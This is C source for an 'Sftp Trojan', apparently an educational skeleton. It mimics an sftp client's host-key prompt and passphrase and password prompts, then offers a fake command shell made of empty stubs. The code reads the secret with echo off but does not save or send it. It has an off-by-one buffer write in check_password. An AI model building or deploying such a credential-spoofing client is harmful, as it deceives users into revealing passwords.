/*
 * Sftp Trojan
 * by Javantea aka. Joel R. Voss
 * Feb 27, 2006
 *
 * This program is written for the purpose of learning about trojans and to 
 * replicate the useful sftp interface for udp_sess1.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>

void print_hex(char *data, int length)
{
  int i;
  for(i=0; i < length - 1; i++)
  {
    printf("%02x:", data[i]);
  }
  printf("%02x", data[length - 1]);
}

void usage()
{
  printf("usage: sftp [-1Cv] [-B buffer_size] [-b batchfile] [-F ssh_config]\n"
    "            [-o ssh_option] [-P sftp_server_path] [-R num_requests]\n"
    "            [-S program] [-s subsystem | sftp_server] host\n"
    "       sftp [[user@]host[:file [file]]]\n"
    "       sftp [[user@]host[:dir[/]]]\n"
    "       sftp -b batchfile [user@]host\n");
}

void sftp_help()
{
  printf("Available commands:\n"
    "cd path                       Change remote directory to 'path'\n"
    "lcd path                      Change local directory to 'path'\n"
    "chgrp grp path                Change group of file 'path' to 'grp'\n"
    "chmod mode path               Change permissions of file 'path' to 'mode'\n"
    "chown own path                Change owner of file 'path' to 'own'\n"
    "help                          Display this help text\n"
    "get remote-path [local-path]  Download file\n"
    "lls [ls-options [path]]       Display local directory listing\n"
    "ln oldpath newpath            Symlink remote file\n"
    "lmkdir path                   Create local directory\n"
    "lpwd                          Print local working directory\n"
    "ls [path]                     Display remote directory listing\n"
    "lumask umask                  Set local umask to 'umask'\n"
    "mkdir path                    Create remote directory\n"
    "progress                      Toggle display of progress meter\n"
    "put local-path [remote-path]  Upload file\n"
    "pwd                           Display remote working directory\n"
    "exit                          Quit sftp\n"
    "quit                          Quit sftp\n"
    "rename oldpath newpath        Rename remote file\n"
    "rmdir path                    Remove remote directory\n"
    "rm path                       Delete remote file\n"
    "symlink oldpath newpath       Symlink remote file\n"
    "version                       Show SFTP version\n"
    "!command                      Execute 'command' in local shell\n"
    "!                             Escape to local shell\n"
    "?                             Synonym for help\n");
}

void sftp_ls(char *arg, int length)
{

}
void sftp_cd(char *arg, int length)
{

}
void sftp_lcd(char *arg, int length)
{

}
void sftp_chmod(char *arg, int length)
{

}
void sftp_chgrp(char *arg, int length)
{

}
void sftp_get(char *arg, int length)
{

}
void sftp_put(char *arg, int length)
{

}
void sftp_lls(char *arg, int length)
{
  // TODO: Local ls should be pretty easy to fake. fork ls maybe?
}
void sftp_lumask(char *arg, int length)
{

}
void sftp_ln(char *arg, int length)
{

}
void sftp_progress(char *arg, int length)
{
  // TODO: enable also.
  printf("Progress meter disabled\n");
}
void sftp_pwd(char *arg, int length)
{

}
void sftp_rename(char *arg, int length)
{

}
void sftp_rmdir(char *arg, int length)
{

}
void sftp_rm(char *arg, int length)
{

}
void sftp_symlink(char *arg, int length)
{

}
void sftp_version(char *arg, int length)
{
  printf("SFTP protocol version 3\n");
}
void sftp_bang(char *arg, int length)
{

}
void sftp_mkdir(char *arg, int length)
{

}
                                                                                                                                        
void get_password(char *password, int length)
{
  struct termios termios_old, termios_noecho;
  
  int ne = tcgetattr(fileno(stdin), &termios_old);
  memcpy(&termios_noecho, &termios_old, sizeof(struct termios));
  termios_noecho.c_lflag &= ~ECHO;
  ne = tcsetattr(fileno(stdin), TCSANOW, &termios_noecho);
  fgets(password, length, stdin);
  ne = tcsetattr(fileno(stdin), TCSANOW, &termios_old);
}

int check_password(char *password, int length)
{
  password[length] = 0;
  if(strlen(password) > 6)
    return 1;
  return 0;
}

int rand_err1()
{
  printf("Read from socket failed: Connection reset by peer\n");
  return 1;
}

int main(int argc, char **argv)
{
    int ret = 0;
    
    if(argc < 2)
    {
      usage();
      return 1;
    }
    
    char user[256];
    strncpy(user, getenv("USER"), 256);
    char *hostname = argv[1];
    char host_addr[] = "::1";
    char fingerprint[] = "AAAAbbbbCCCCdddd";
    printf("Connecting to %s...\n", hostname);
    usleep(300);
    int authenticity = 0;
    if(authenticity == 0)
    {
      printf("The authenticity of host '%s(%s)' can't be established.\n", hostname, host_addr);
      printf("RSA key fingerprint is ");
      print_hex(fingerprint, 16); //06:4b:ca:5c:57:6a:7a:3c:d5:3b:dd:39:fb:b2:0e:da.;
      printf("\n");
      printf("Are you sure you want to continue connecting (yes/no)? ");
      char yes[5];
      fgets(yes, 5, stdin);
      if(strncmp(yes, "yes", 3) == 0)
      {
        printf("Warning: Permanently added '%s' (RSA) to the list of known hosts.\n", hostname);
      }
      else
      {
        return 1;
      }
    }
    char buf[256];
    int dsa = 1;
    while(1)
    {
      if(dsa == 1)
      {
        printf("Enter passphrase for key '/home/jvoss/.ssh/id_dsa': ");
        get_password(buf, 255);
      }
      else
      {
        printf("%s@%s's password: ", user, hostname);
        get_password(buf, 255);
      }
      // They gave up, so will we.
      if(feof(stdin))
      {
        printf("\n");
        return 1;
      }
      printf("\n");
      if(check_password(buf, 256) == 0)
      {
        printf("Permission denied, please try again.\n");
      }
      else
      {
        break;
      }
    }

    while(!feof(stdin))
    {
      printf("sftp> ");
      fgets(buf, 255, stdin);
      if(strncmp(buf, "help", 4) == 0 || strncmp(buf, "?", 1) == 0)
      {
        sftp_help();
      }
      else if(strncmp(buf, "cd", 2) == 0)
      {
        sftp_cd(buf, 256);
      }
      else if(strncmp(buf, "lcd", 3) == 0)
      {
        sftp_lcd(buf, 256);
      }
      else if(strncmp(buf, "chmod", 5) == 0)
      {
        sftp_chmod(buf, 256);
      }
      else if(strncmp(buf, "chgrp", 5) == 0)
      {
        sftp_chgrp(buf, 256);
      }
      else if(strncmp(buf, "get", 3) == 0)
      {
        sftp_get(buf, 256);
      }
      else if(strncmp(buf, "put", 3) == 0)
      {
        sftp_put(buf, 256);
      }
      else if(strncmp(buf, "ls", 2) == 0)
      {
        sftp_ls(buf, 256);
      }
      else if(strncmp(buf, "lls", 3) == 0)
      {
        sftp_lls(buf, 256);
      }
      else if(strncmp(buf, "lumask", 6) == 0)
      {
        sftp_lumask(buf, 256);
      }
      else if(strncmp(buf, "ln", 2) == 0)
      {
        sftp_ln(buf, 256);
      }
      else if(strncmp(buf, "progress", 8) == 0)
      {
        sftp_progress(buf, 256);
      }
      else if(strncmp(buf, "pwd", 3) == 0)
      {
        sftp_pwd(buf, 256);
      }
      else if(strncmp(buf, "rename", 6) == 0)
      {
        sftp_rename(buf, 256);
      }
      else if(strncmp(buf, "rmdir", 5) == 0)
      {
        sftp_rmdir(buf, 256);
      }
      else if(strncmp(buf, "rm", 2) == 0)
      {
        sftp_rm(buf, 256);
      }
      else if(strncmp(buf, "symlink", 7) == 0)
      {
        sftp_symlink(buf, 256);
      }
      else if(strncmp(buf, "version", 7) == 0)
      {
        sftp_version(buf, 256);
      }
      else if(strncmp(buf, "!", 1) == 0)
      {
        sftp_bang(buf, 256);
      }
      else if(strncmp(buf, "dir", 3) == 0)
      {
        sftp_ls(buf, 256);
      }
      else if(strncmp(buf, "mkdir", 5) == 0)
      {
        sftp_mkdir(buf, 256);
      }
      else if(strncmp(buf, "quit", 4) == 0 || strncmp(buf, "exit", 4) == 0)
      {
        break;
      }
      else
      {
        printf("Invalid command.\n");
      }
    }
    // Put the command prompt on the next line.
    if(feof(stdin))
      printf("\n");

    return ret;
}